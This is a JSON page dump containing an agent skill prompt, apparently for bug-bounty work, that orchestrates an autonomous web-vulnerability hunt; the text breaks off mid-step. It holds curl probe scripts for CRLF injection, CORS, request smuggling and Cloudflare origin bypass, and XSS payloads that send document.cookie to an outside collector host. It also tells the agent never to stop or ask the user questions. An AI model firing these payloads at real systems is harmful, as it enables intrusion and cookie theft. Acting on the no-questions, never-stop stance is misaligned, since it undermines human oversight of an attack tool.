[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EEYM466SP9K4X973NADXZ0":3,"skill-same:01M7EEYM466SP9K4X973NADXZ0":46},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":6,"ownerHtmlUrl":29,"ownerBlogUrl":6,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M7EEYM466SP9K4X973NADXZ0","autopilot",null,"Autonomous hunt orchestrator. INSATIABLE in --autonomous mode: enforces an EXHAUSTION CONTRACT (26 canonical hunter classes, surface probe A-I, depth-engine ≥25 attempts\u002Fclass, wall-clock floor 90 min\u002Ftarget, PRE-COMPLETION GATE before any summary). No early stops, no clarifying questions, no auxiliary-agent substitution. Usage: \u002Fautopilot target.com [--interactive|--autonomous] [--20m-off] [--resume]","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fautopilot\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: autopilot\ndescription: \"Autonomous hunt orchestrator. INSATIABLE in --autonomous mode: enforces an EXHAUSTION CONTRACT (26 canonical hunter classes, surface probe A-I, depth-engine ≥25 attempts\u002Fclass, wall-clock floor 90 min\u002Ftarget, PRE-COMPLETION GATE before any summary). No early stops, no clarifying questions, no auxiliary-agent substitution. Usage: \u002Fautopilot target.com [--interactive|--autonomous] [--20m-off] [--resume]\"\ndisable-model-invocation: false\n---\nAutonomous hunt on: $ARGUMENTS\n\nParse flags from arguments:\n- `--interactive` (default): Pause after each validated finding for user review\n- `--autonomous`: Fully autonomous — no pauses, never auto-submits, produces ready-to-submit reports\n- `--20m-off`: Disable 20-minute rotation timer on hunters\n- `--resume`: Continue from previous session (read brain state for progress)\n\nALL agents dispatched by this command MUST use `model: \"inherit\"` in the Agent tool call.\n\n## SETUP\n\n1. Read `rules\u002Fhunting.md` AND `rules\u002Fmistakes.md` — both active throughout. `mistakes.md` lists lessons from real engagements (\"Top 10 Most Common Mistakes\" first); inject the Top 10 block into every subagent preamble because agents repeat these without the reminder.\n2. Read `scope.yaml` — verify all targets are in scope\n3. Read `policy.md` — extract ALL actionable constraints into a policy preamble:\n   - Required HTTP headers (X-Bug-Bounty, User-Agent, custom tracking headers)\n   - Account creation rules (email domain, naming conventions, company format)\n   - Test environment setup (own instances, test properties, sandboxes)\n   - Prohibited actions (DoS, social engineering, accessing customer data)\n   - Rate limiting expectations\n   - N-day waiting periods, shared responsibility exclusions\n   - Credential usage restrictions\n   - ANY other program-specific requirements\n4. Format the **policy preamble** — this block is injected into EVERY agent dispatch:\n   ```\n   POLICY CONSTRAINTS (VIOLATION = DISQUALIFICATION\u002FBAN):\n   SCOPE AND POLICY MUST BE OBEYED AT ALL TIMES.\n   [dynamically extracted constraints from policy.md]\n   ALL HTTP requests MUST include required headers.\n   ALL accounts MUST follow naming conventions.\n   ALL testing MUST stay within scope boundaries.\n   ```\n5. `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py brief \u003Ctarget>` — load existing knowledge\n6. If `--resume`: read brain for tested\u002Fexhausted\u002Fremaining targets, skip to HUNT LOOP\n7. Capture run metadata for the pre-completion gate and stash it in `.autopilot-run.env`:\n   ```bash\n   {\n     echo \"RUN_START_EPOCH=$(date +%s)\"\n     echo \"AUTOPILOT_MODE=\u003Cinteractive|autonomous>\"\n     echo \"AUTOPILOT_TARGET=\u003Coriginal \u002Fautopilot target argument>\"\n   } > .autopilot-run.env\n   ```\n\n## EXHAUSTION CONTRACT (autonomous mode is INSATIABLE — read before every loop iteration)\n\n**`\u002Fautopilot --autonomous` IS INSATIABLE. The loop continues UNTIL every\ntarget in scope has been tested with ALL techniques, ALL methods, ALL\nbypasses, ALL tricks, AND ALL COMBINATIONS of these. DO NOT STOP. DO NOT\nASK THE USER ANYTHING.** No clarifying questions, no \"should I continue?\",\nno \"I think we're done\" — autonomous mode runs until the PRE-COMPLETION\nGATE passes for every target, the chain queue is empty, and the global\nprogress queue is empty. A 17-minute autonomous run that produced one\nauxiliary-agent dispatch is a contract violation, not a completed\nengagement. If you catch yourself thinking \"this looks done\", you are\nwrong — return to the queue and dispatch the next class\u002Fcombination.\n\n`--autonomous` overrides any default LLM tendency toward minimalism,\nclarification-seeking, or \"I have enough information\" reasoning. The only\nacceptable termination paths are listed under \"Stopping early is allowed\nONLY when\" below; nothing else.\n\n### Canonical Hunter Class Set (per target — every class fires OR records `not-applicable` with technical reason)\n\nPer target, every class below either dispatches its specialized hunter agent\nOR records a brain entry `not-applicable: \u003Creason>` containing concrete\ntechnical justification observed during the surface probe. \"No JS source-sink\nhits in the bundle\" is NOT justification — that is static analysis, not\ntesting. Brain entries claiming exhaustion via auxiliary agents will be\nrejected by the gate.\n\n| Class | Hunter agent | Skip only if (must cite surface-probe evidence) |\n|-------|--------------|--------------------------------------------------|\n| idor | `idor-hunter` | No authenticated endpoints AND no object IDs in any URL\u002Fbody |\n| xss-reflected | `xss-hunter` (subtype: reflected) | No reflected query\u002Fheader\u002Fpath values across method-matrix probes |\n| xss-stored | `xss-hunter` (subtype: stored) | No write surface (no comments, profiles, uploads, names, support form) |\n| xss-dom | `xss-hunter` (subtype: dom) | Browser-runtime probe shows no `location.*`\u002F`document.*`\u002FinnerHTML sinks fed by URL\u002Fhash |\n| ssrf | `ssrf-hunter` | No URL\u002Fwebhook\u002Fimport\u002Fpreview\u002Ffetch\u002Favatar\u002Fscreenshot parameters anywhere |\n| sqli | `sqli-hunter` | No DB-backed endpoints (every API call is a static cache hit) |\n| ssti | `ssti-hunter` | No template-rendering surface (comments, previews, admin templates, rules engines) |\n| rce | `rce-hunter` | No deserialization, command-runner, expression-eval, or rule-engine surface |\n| oauth | `oauth-hunter` | No OAuth\u002FOIDC\u002FSAML\u002FJWT flow anywhere on target or its cookie-domain siblings |\n| open-redirect | `open-redirect` | No redirect\u002FreturnTo\u002Fnext\u002Fcallback parameters anywhere in path\u002Fquery |\n| csrf | `csrf-hunter` | No state-changing endpoints AND every cookie has SameSite=Strict |\n| cors | `cors-hunter` | Surface probe shows no Access-Control-* headers and no `OPTIONS` handlers |\n| info-disclosure | `info-disclosure` | Surface probe found nothing AND no error\u002Fdebug\u002Fbuild endpoints |\n| race-condition | `race-condition` | No state mutations \u002F billing \u002F coupon \u002F approval \u002F non-idempotent ops |\n| business-logic | `business-logic` | No multi-step workflows \u002F pricing \u002F approvals \u002F coupons \u002F trials |\n| privilege-escalation | `privilege-escalation` | Single role only AND no admin\u002Fstaff\u002Fbilling endpoints |\n| file-upload | `file-upload` | No upload endpoints AND no media import \u002F avatar \u002F attachment features |\n| xxe | `xxe-hunter` | No XML \u002F SOAP \u002F SVG \u002F SAML \u002F DOCX \u002F OPML \u002F RSS parsing surface |\n| graphql | `graphql-audit` | No GraphQL endpoint reachable on any sibling host |\n| subdomain-takeover | `subdomain-takeover` | DNS probe shows no dangling CNAMEs \u002F dead vendor pointers |\n| llm-ai | `llm-ai-hunter` | No chatbot \u002F RAG \u002F agent \u002F MCP \u002F inference \u002F model-server \u002F sandbox surface |\n| auth-bypass | `auth-tester` | No authentication \u002F session \u002F MFA \u002F password-reset \u002F SSO surface |\n| cache-deception | SURFACE PROBE C + escalate via `auth-tester` if creds-bound HIT found | Probe C ran AND no caching layer present (no `cf-cache-status`, `x-cache`, `age` headers across all variants) |\n| header-injection | SURFACE PROBE D + escalate via `xss-hunter`\u002F`open-redirect` if reflection found | Probe D ran AND no `Set-Cookie`\u002F`Location` reflection across all CRLF\u002FUnicode variants |\n| h2-desync | SURFACE PROBE F + custom PoC if 421\u002Fanomaly found | Probe F ran AND target negotiated HTTP\u002F1.1 only OR no upstream HTTP\u002F2 anomalies |\n| method-confusion | SURFACE PROBE B + escalate via `idor-hunter`\u002F`auth-tester` if anomaly found | Probe B ran AND uniform 405 for all non-listed verbs across discovered paths |\n\nFor the four SURFACE PROBE-driven classes above, \"coverage\" is satisfied by\nrunning the corresponding probe in the SURFACE PROBE phase and recording\nthe probe result to brain. Escalation hunters are dispatched only when the\nprobe finds signal. A skipped probe = uncovered class = GATE FAIL.\n\n### Forbidden hunter substitutes\n\nThese agents are **recon\u002Fauxiliary** — they CANNOT prove exhaustion of any\nclass above. Dispatching them does NOT advance the canonical checklist:\n\n- `js-analyzer` (static analysis only — proves nothing about runtime behavior)\n- `config-auditor` (header\u002FCORS\u002Fcookie audit — feeder, not exhaustion)\n- `waf-profiler` (WAF mapping — auxiliary to hunters, never replaces them)\n- `sast-*` family (source-code analysis — only when source is locally available, never as DAST proxy)\n- `cloud-recon` (asset enumeration — feeds recon, not exhaustion)\n- `vuln-scanner` (DO NOT INVOKE — uses nuclei which is banned in this workspace; substitute httpx\u002Fffuf\u002Fdirsearch via surface probe)\n\nIf the orchestrator dispatches any of these and concludes \"exhausted\", the\nPRE-COMPLETION GATE rejects the run.\n\n### Minimum runtime floors (autonomous mode)\n\n- **Per P1 target**: ≥ 90 minutes wall clock OR until canonical checklist passes — whichever is later\n- **Per autonomous run**: ≥ 18 distinct subagent dispatches across recon + hunters + validation\n- **Per dispatched hunter class**: ≥ 25 attempt entries recorded in brain (Depth Engine floor)\n- **Surface probe phase**: must complete (all of A-I) before any hunter dispatch\n- **Per finding pipeline**: validator → browser-verifier (if client-side) → devil's advocate must all run\n\nStopping early is allowed ONLY when:\n- Scope explicitly forbids further testing (policy.md), OR\n- Circuit breaker tripped (5 consecutive 403\u002F429 → 60s backoff → rotate host, run continues elsewhere), OR\n- Context budget exhausted (> 60% used → checkpoint and request `--resume`), OR\n- The PRE-COMPLETION GATE passes.\n\n## RECON (skip if `recon\u002F` data \u003C 7 days old)\n\n7. Dispatch `recon` agent (model: inherit) with policy preamble\n8. Brain update: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> recon \"\u003Cnew endpoints, subdomains, tech stack>\" \"\u003Crecon summary>\"`\n9. Increment subagent counter\n10. **Active recon depth (gated — every artifact below blocks completion unless a\n    `recon-skip:\u003Cid> policy:\u003Cclause>` brain entry cites the policy clause that\n    forbids it)**:\n    - **DNS brute-force** with a region-aware wordlist into\n      `recon\u002Fdns-bruteforce.txt`. Don't ship \"passive only\" — passive misses\n      novel-named hosts (`prod-s0-milli-vanilli`, `prod-s0-telefonista`).\n    - **Public archive sweep** into `recon\u002Furlscan-cdx.json` (urlscan + Wayback\n      CDX) and `recon\u002Fpublic-archives.txt` (any other archive hits). Pull\n      historical URL inventory.\n    - **GitHub code search** into `recon\u002Fgithub-code.json`. Query each in-scope\n      domain for leaked endpoints, secrets, configs.\n    - **Mobile decompile** if `scope.yaml` lists any mobile asset \u002F package: pull\n      APK\u002FIPA, decompile, extract endpoints into\n      `recon\u002Fmobile\u002F\u003Cpackage>.endpoints.txt`. Mobile reveals endpoints the web\n      surface never exposes.\n    - To skip any of the above for genuine policy reasons, record:\n      `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> recon \"recon-skip:\u003Cid> policy:\u003Cclause>\" \"\u003Crationale>\"`\n\n## WAF\u002FCF DETECTION (run once per target, cache in brain)\n\n10. Detect WAF and CF protection across live hosts:\n    ```bash\n    for host in $(cat recon\u002Flive-hosts.txt | head -20); do\n      WAF=$(curl -sI \"$host\" 2>\u002Fdev\u002Fnull | grep -iE \"cf-ray|cloudflare|x-sucuri|x-akamai|x-datadome|server: awselb\" | head -1)\n      [ -n \"$WAF\" ] && echo \"$host: $WAF\"\n    done\n    ```\n11. Record WAF map in brain: `uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \u003Ctarget> waf-map \"\u003Chost→waf mappings>\" \"\u003Ccounts by waf vendor>\"`\n12. If ANY hosts are CF-protected:\n    - Start camofox: `$CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh status || $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcamofox_ctl.sh start`\n    - Verify stealth: check `\u002Fhealth` shows `browserRunning: true`\n    - Record in brain: `camofox: running`\n    - CF-protected hosts are P1 in ranking (less competition, stealth browser gives us edge)\n\n## RANK\n\n13. Dispatch `recon-ranker` agent (model: inherit) with:\n    - Recon data + brain knowledge\n    - WAF map (so ranker can factor CF-protection into P1\u002FP2\u002FKill decisions)\n    - Instruction: \"CF-protected hosts WITH camofox available = P1 (competitive advantage). CF-protected hosts WITHOUT stealth browser = P2.\"\n14. Parse P1\u002FP2\u002FKill list from agent output\n15. Brain update with ranking results\n16. Increment subagent counter\n\n## SURFACE PROBE (mandatory for every P1 host before HUNT LOOP — no agent dispatch, just curl)\n\nThe surface probe runs CHEAP inline curl-based checks (no agent dispatch\nneeded) to map dimensions hunter agents do not auto-discover. Every probe\neither becomes a hunter dispatch with concrete payload OR is recorded to\nbrain as a coverage entry. This phase MUST run for every P1 host (every\nhost marked P1 in `ATTACK_SURFACE_RANKING.md` AND every novel-named live\nhost per Rule 30) before any hunter is dispatched. Refusing to run it is\na PRE-COMPLETION GATE fail.\n\n**The loop is per-HOST, not per-TARGET.** A wildcard target like\n`*.example.com` decomposes into N live hosts, each of which gets its own\n`evidence\u002F\u003Chost>\u002Fsurface\u002F` directory and its own A-I run. Cross-host\ninference (\"BR was hardened so CO is too\") is forbidden by Rule 30 —\nevery host produces its own probe artifacts.\n\n```bash\n# Build the P1 host list\nP1_HOSTS=$(awk '\u002F^P1[: ]\u002F{print $2}' ATTACK_SURFACE_RANKING.md \\\n            || cat recon\u002Fp1-hosts.txt 2>\u002Fdev\u002Fnull \\\n            || cat recon\u002Flive-hosts.txt)\n\nfor TARGET in $P1_HOSTS; do\n  mkdir -p \"evidence\u002F$TARGET\u002Fsurface\"\n  # ... run A-I below with this TARGET ...\ndone\n```\n\nInside the per-host loop, perform A through I in order. Save raw output\nto `evidence\u002F$TARGET\u002Fsurface\u002F` (the directory is created above). After I\ncompletes, write the per-host completion marker (see \"Persist surface\ncompletion\" at the end of this section).\n\n### A. Path \u002F file enumeration\n\n```bash\nTARGET=\"\u003Chost>\"  # replace with the host being probed\nmkdir -p \"evidence\u002F$TARGET\u002Fsurface\"\nfor path in robots.txt sitemap.xml security.txt humans.txt \\\n            .well-known\u002Fsecurity.txt .well-known\u002Fopenid-configuration \\\n            .well-known\u002Fjwks.json .well-known\u002Foauth-authorization-server \\\n            .well-known\u002Fwebfinger .well-known\u002Fhost-meta \\\n            .well-known\u002Fchange-password .well-known\u002Fassetlinks.json \\\n            .well-known\u002Fapple-app-site-association \\\n            .git\u002Fconfig .git\u002FHEAD .env .env.local .env.production \\\n            crossdomain.xml clientaccesspolicy.xml \\\n            CHANGELOG.md README.md package.json composer.json \\\n            yarn.lock package-lock.json \\\n            __nextjs_original-stack-frame _next\u002Fstatic\u002Fchunks\u002Fwebpack.js \\\n            api\u002F admin\u002F _admin\u002F api\u002Fv1\u002F api\u002Fv2\u002F api\u002Finternal\u002F \\\n            api\u002Fadmin\u002F auth\u002F oauth\u002F saml\u002F graphql v1\u002F v2\u002F \\\n            internal\u002F _internal\u002F debug\u002F status\u002F health\u002F \\\n            metrics actuator actuator\u002Fhealth server-status \\\n            wp-admin\u002F wp-login.php phpmyadmin\u002F console\u002F; do\n  curl -s -o \u002Fdev\u002Fnull -w \"$path %{http_code} %{size_download}\\n\" \\\n    \"https:\u002F\u002F$TARGET\u002F$path\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\n```\n\nIf Next.js detected, enumerate `_next\u002Fdata`:\n\n```bash\nBUILD_ID=$(curl -s \"https:\u002F\u002F$TARGET\u002F\" \\\n  | grep -oE '\"buildId\":\"[^\"]+\"' \\\n  | head -1 \\\n  | cut -d'\"' -f4)\n[ -z \"$BUILD_ID\" ] && BUILD_ID=$(curl -s \"https:\u002F\u002F$TARGET\u002F\" \\\n  | grep -oE '_next\u002Fstatic\u002F[a-zA-Z0-9_-]{6,}\u002F' | head -1 \\\n  | cut -d'\u002F' -f3)\nfor page in index sandbox stores\u002Fcreate stores login dashboard \\\n            admin profile settings billing api\u002Fauth\u002Fme; do\n  curl -s -o \u002Fdev\u002Fnull -w \"_next\u002Fdata\u002F$BUILD_ID\u002F$page.json %{http_code}\\n\" \\\n    \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F$page.json\"\ndone | tee -a evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\n```\n\nRecord any 200\u002F301\u002F302\u002F401\u002F403 (anything non-404) as ATTACK SURFACE for\nhunter dispatch. A 401 on `\u002Fapi\u002Fadmin\u002F` is a P1 — not a 404.\n\n### B. HTTP method matrix per discovered path\n\nFor every path that returned 200\u002F301\u002F302\u002F401\u002F403:\n\n```bash\n: > \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\nawk '$2 ~ \u002F^(200|201|204|301|302|303|307|308|401|403)$\u002F {print $1}' \\\n  \"evidence\u002F$TARGET\u002Fsurface\u002Fdiscovery.txt\" | sort -u | while read -r PATH; do\n  for METHOD in OPTIONS HEAD GET POST PUT PATCH DELETE TRACE CONNECT \\\n                PROPFIND COPY MOVE MKCOL LOCK UNLOCK; do\n    curl -s -o \u002Fdev\u002Fnull -w \"$METHOD $PATH: %{http_code} %{size_download}\\n\" \\\n      -X $METHOD \"https:\u002F\u002F$TARGET\u002F$PATH\"\n  done\ndone | tee -a \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\n```\n\nMethod-specific 200\u002F302\u002F500 (vs. 405 elsewhere) = method confusion or\nhidden verb routing → DISPATCH `auth-tester` (subtype: methods) and\n`idor-hunter` with explicit verb list.\n\n### C. Cache deception probes\n\n```bash\nfor path_variant in \"\u002Fprofile.css\" \"\u002Fprofile.js\" \"\u002Fprofile.png\" \\\n                    \"\u002Fprofile\u002Findex.css\" \"\u002Fprofile;.css\" \"\u002Fprofile%23.css\" \\\n                    \"\u002Fprofile?ext=.css\" \"\u002Fprofile\u002F..\u002Fprofile.css\" \\\n                    \"\u002Fprofile.css\u002F\" \"\u002Fprofile\u002F\u002F.css\" \\\n                    \"\u002Fapi\u002Fme.css\" \"\u002Fdashboard.json\"; do\n  RESP=$(curl -sI \"https:\u002F\u002F$TARGET$path_variant\" \\\n    -H \"Cookie: session=test\" \\\n    | grep -iE \"cache-control|cf-cache-status|x-cache|age|content-type\")\n  echo \"$path_variant: $RESP\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fcache-deception.txt\n```\n\nSensitive content body returned with `cf-cache-status: HIT` or `age: > 0`\nafter a cookie request → web cache deception confirmed → DISPATCH\n`auth-tester` (subtype: cache) for poisoning verification.\n\n### D. Response header \u002F response splitting probes\n\n```bash\nfor vec in \"%0d%0aSet-Cookie:%20pwn=1\" \\\n           \"%0aLocation:%20\u002F\u002Fevil.tld\" \\\n           \"%E5%98%8A%E5%98%8DSet-Cookie:%20pwn=1\" \\\n           \"%0d%0aX-XSS-Protection:%200%0d%0a\"; do\n  for param in next returnTo url to callback continue rd dest redirect; do\n    curl -sI \"https:\u002F\u002F$TARGET\u002F?$param=$vec\" \\\n      | grep -iE \"set-cookie|location|x-xss\"\n  done\n  curl -sI \"https:\u002F\u002F$TARGET\u002F$vec\u002F\" | grep -iE \"set-cookie|location\"\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fheader-injection.txt\n```\n\nAny injected `Set-Cookie` or unsafe `Location` reflection → DISPATCH\n`auth-tester` (subtype: response-splitting) and record open-redirect\ncandidate for chain-builder.\n\n### E. CORS preflight matrix\n\n```bash\nfor origin in \"https:\u002F\u002Fevil.tld\" \"null\" \"https:\u002F\u002F$TARGET.evil.tld\" \\\n              \"http:\u002F\u002F$TARGET\" \"https:\u002F\u002Fattacker.$TARGET\" \\\n              \"https:\u002F\u002F${TARGET}.attacker.tld\" \"file:\u002F\u002F\" \\\n              \"https:\u002F\u002Fevil.tld%60.${TARGET}\" \"https:\u002F\u002F${TARGET}%23.evil.tld\"; do\n  for path in \u002F api\u002F api\u002Fv1\u002F api\u002Fme api\u002Fuser graphql auth\u002Fme; do\n    curl -sI -X OPTIONS \"https:\u002F\u002F$TARGET\u002F$path\" \\\n      -H \"Origin: $origin\" \\\n      -H \"Access-Control-Request-Method: GET\" \\\n      -H \"Access-Control-Request-Headers: authorization,content-type\" \\\n      | grep -iE \"access-control-allow\"\n  done\ndone | tee evidence\u002F$TARGET\u002Fsurface\u002Fcors-matrix.txt\n```\n\nAny `allow-origin` reflecting attacker origin AND `allow-credentials: true`\n→ DISPATCH `cors-hunter` immediately.\n\n### F. HTTP\u002F2 desync indicators\n\n```bash\n{\n  curl --http2 -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Transfer-Encoding: chunked\" -H \"Content-Length: 0\"\n  curl --http2-prior-knowledge -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Connection: close\"\n  curl --http2 -sI \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Transfer-Encoding: chunked, identity\"\n  curl --http2 -s \"https:\u002F\u002F$TARGET\u002F\" \\\n    -H \"Content-Length: 0\" -H \"Content-Length: 5\" -X POST -d 'X'\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fh2-desync.txt\"\n```\n\nMismatched `content-length` vs `transfer-encoding` handling, 421\nMisdirected Request, or 400 with body marker leakage → DISPATCH\n`auth-tester` (subtype: smuggling) with desync template.\n\n### G. Subdomain takeover on the target itself\n\n```bash\n{\n  dig +short CNAME $TARGET\n  HOST_RESP=$(curl -sI \"https:\u002F\u002F$TARGET\u002F\" 2>&1)\n  echo \"$HOST_RESP\" \\\n    | grep -iE \"no such bucket|repository not found|domain not configured|herokuapp|github\\.io|s3-website|trafficmanager|cloudfront|fastly|netlify|surge.sh|readme\\.io|helpjuice|tumblr|unbouncepages|wpengine\"\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Ftakeover.txt\"\n```\n\nAny vendor \"no such resource\" pattern → DISPATCH `subdomain-takeover` with\nthe dangling pointer.\n\n### H. Cloudflare-specific probes (only if CF detected)\n\n```bash\n{\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Accept-Encoding: gzip\" | grep -iE \"cf-cache|vary\"\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Accept-Encoding: deflate\" | grep -iE \"cf-cache|vary\"\n  curl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"CF-Connecting-IP: 127.0.0.1\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\"\n  curl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"X-Forwarded-For: 127.0.0.1\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code}\\n\"\n  ORIGIN_IP=$(dig +short $TARGET | head -1)\n  curl -sk \"https:\u002F\u002F$ORIGIN_IP\u002F\" -H \"Host: $TARGET\" \\\n    -o \u002Fdev\u002Fnull -w \"Direct origin: %{http_code}\\n\"\n  # CF cache key smuggling via Range\n  curl -sI \"https:\u002F\u002F$TARGET\u002F\" -H \"Range: bytes=0-0\" | grep -iE \"cf-cache|content-range\"\n} | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fcloudflare.txt\"\n```\n\nCache poisoning via Vary, CF-Connecting-IP trust, direct-origin reach, or\nRange smuggling → record candidates and DISPATCH appropriate hunter.\n\n### I. SPA \u002F hash routing seeds (rotate detection tokens — Rule 28)\n\nDetection-token rotation: never rely on `alert(1)` alone. The probe\nvalues below walk the rotation ladder so a target that filters `alert`\nbut not `prompt`\u002F`title`\u002Fpreload still produces a reflection signal.\n\n```bash\nfor param in next redirect returnTo url to callback continue rd \\\n             destination ref source state code id_token; do\n  for value in \\\n      \"\u002F\u002Fevil.tld\" \\\n      \"javascript:alert(1)\" \\\n      \"javascript:prompt(1)\" \\\n      \"javascript:confirm(document.domain)\" \\\n      \"javascript:document.title='XSS-AAB123'\" \\\n      \"javascript:fetch('\u002F\u002Fc.oast.fun\u002F?'+document.cookie)\" \\\n      \"javascript:new%20Image().src='\u002F\u002Fc.oast.fun\u002F?'%2bdocument.cookie\" \\\n      \"javascript:top[8680439..toString(30)](1)\" \\\n      \"javascript:window['ale'+'rt'](1)\" \\\n      \"javascript:self[atob('YWxlcnQ=')](1)\" \\\n      \"data:text\u002Fhtml,\u003Csvg\u002Fonload=fetch('\u002F\u002Fc.oast.fun\u002F?d')>\" \\\n      \"data:text\u002Fhtml;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+\" \\\n      \"https:\u002F\u002F$TARGET@evil.tld\" \\\n      \"%2F%2Fevil.tld\" \\\n      \"\u002F%2F\u002Fevil.tld\" \\\n      \"\u002F\u002Fevil.tld%23.${TARGET}\"; do\n    curl -s \"https:\u002F\u002F$TARGET\u002F?$param=$value\" \\\n      -o \"evidence\u002F$TARGET\u002Fsurface\u002Froute-$param-$(echo \"$value\" | md5sum | cut -c1-6).html\" \\\n      -w \"$param=$value: %{http_code} %{size_download} %{redirect_url}\\n\"\n  done\ndone | tee \"evidence\u002F$TARGET\u002Fsurface\u002Fspa-routing.txt\"\n```\n\nReflected param value in HTML\u002FJS, 30x to attacker host, or any\n`javascript:` URI accepted in `Location:` → seed for `xss-hunter`,\n`open-redirect`, and `oauth-hunter` dispatch. The hunter prompt MUST\nforward the rotation ladder so it doesn't re-test only `alert(1)`.\n\n### Persist surface completion + per-probe coverage\n\nAfter all of A-I complete on a host, write the per-host completion marker\nAND the surface-driven class coverage records via the structured writer.\nBoth are per-host artifacts the gate keys off; missing either fails\ncompletion:\n\n```bash\n# Per-host completion marker — gate requires this for every P1 host AND\n# requires every required artifact mtime \u003C= the marker's mtime, so writing\n# this BEFORE the artifacts have all been produced will trip the gate.\ndate -u +\"%Y-%m-%dT%H:%M:%SZ\" > \"evidence\u002F$TARGET\u002Fsurface\u002F.complete\"\n```\n\n```bash\n# Surface-probe-driven classes: each gets its own coverage entry so the\n# gate's class-coverage check finds it. Use the structured writer (NOT\n# bare brain.py) — writer signs off on the JSON shape the gate prefers.\n\nfor CLASS_PROBE in \\\n    \"cache-deception:cache-deception.txt\" \\\n    \"header-injection:header-injection.txt\" \\\n    \"h2-desync:h2-desync.txt\" \\\n    \"method-confusion:method-matrix.txt\"; do\n  CLASS=\"${CLASS_PROBE%:*}\"\n  PROBE=\"${CLASS_PROBE##*:}\"\n  # Pick one of: no-signal | signal:\u003Cdetails> | candidate-dispatched:\u003Chunter>\n  STATUS=\"no-signal\"  # set per actual probe outcome, e.g. \"candidate-dispatched:cors-hunter\"\n  uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fcoverage_record.py \\\n    --host \"$TARGET\" --class \"$CLASS\" \\\n    --surface-status \"$STATUS\" \\\n    --evidence \"evidence\u002F$TARGET\u002Fsurface\u002F$PROBE\"\ndone\n\n# Master surface entry (markdown is fine here — this is informational, not\n# a coverage gate input)\nuv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \"surface-probe\" \\\n  \"discovery:\u003Ccount non-404>; methods:\u003Ccount anomalies>; cache-deception:\u003Cresults>; \\\n   response-splitting:\u003Cresults>; cors-perms:\u003Cresults>; h2-desync:\u003Cresults>; \\\n   takeover:\u003Cresults>; cf-quirks:\u003Cresults>; spa-routing:\u003Cresults>\"\n\n# Unauthenticated state-change anomalies — for every POST\u002FPUT\u002FPATCH\u002FDELETE\n# that returned 2xx\u002F3xx in method-matrix.txt, record an unauth-write marker.\n# The hard gate auto-detects these from the surface artifact too, but the\n# brain marker triggers the adversarial battery dispatch below.\nawk '\n  $1 ~ \u002F^(POST|PUT|PATCH|DELETE)$\u002F &&\n  $3 ~ \u002F^(200|201|202|204|301|302|303|307|308)\u002F {\n    sub(\u002F:$\u002F, \"\", $2); print $1, $2, $3\n  }' \"evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\" \\\n| while read -r METHOD PATH STATUS; do\n    uv run python3 $CLAUDE_PROJECT_DIR\u002Ftools\u002Fbrain.py record \"$TARGET\" recon \\\n      \"unauth-write:$PATH\" \\\n      \"method:$METHOD; status:$STATUS; evidence:evidence\u002F$TARGET\u002Fsurface\u002Fmethod-matrix.txt\"\n  done\n```\n\nRefusing to run any of A-I before HUNT LOOP is a PRE-COMPLETION GATE fail.\nAny 200\u002F301\u002F302\u002F401\u002F403 the probe finds becomes a hunter dispatch input —\nthe orchestrator MUST seed step 22's hunter prompts with the discovered\nsurface, not just the homepage URL.\n\n### UNAUTH STATE-CHANGE BATTERY (mandatory follow-up)\n\nEvery `unauth-write:\u003Cpath>` marker recorded above blocks completion until\nits sibling `adversarial-battery:\u003Cpath>` entry exists with attempts ≥ 10\nacross the five required dimensions. **An unauthenticated 2xx\u002F3xx on\nPOST\u002FPUT\u002FPATCH\u002FDELETE that the autopilot walks away from is the failure\nmode this contract was written to prevent.** For each marker:\n\n1. Build the 